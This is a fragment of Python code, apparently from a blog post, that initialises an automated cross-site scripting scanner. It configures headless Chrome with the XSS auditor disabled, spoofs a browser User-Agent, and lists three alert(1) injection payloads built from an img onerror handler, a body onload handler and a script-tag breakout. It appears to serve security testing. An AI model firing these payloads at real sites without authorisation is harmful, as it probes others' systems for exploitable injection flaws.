def __init__(self, targets):
self.targets = targets
self.target = ''
self.chrome_options = webdriver.ChromeOptions()
self.chrome_options.add_argument("--headless")
self.chrome_options.add_argument("--disable-gpu")
self.chrome_options.add_argument("--window-size=1920x1080")
self.chrome_options.add_argument("--disable-xss-auditor")
# ????
chrome_prefs = {}
chrome_prefs["profile.default_content_settings"] = {"images": 2}
self.chrome_options.experimental_options["prefs"] = chrome_prefs
self.header = {'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0'}
self.payloads = ['\'"/><img src=# onerror=alert(1);>',
"\'\"><body onload=alert(1)>",
"/></script><ScRiPt>alert(1);<ScRiPt><!--"]
评论列表
文章目录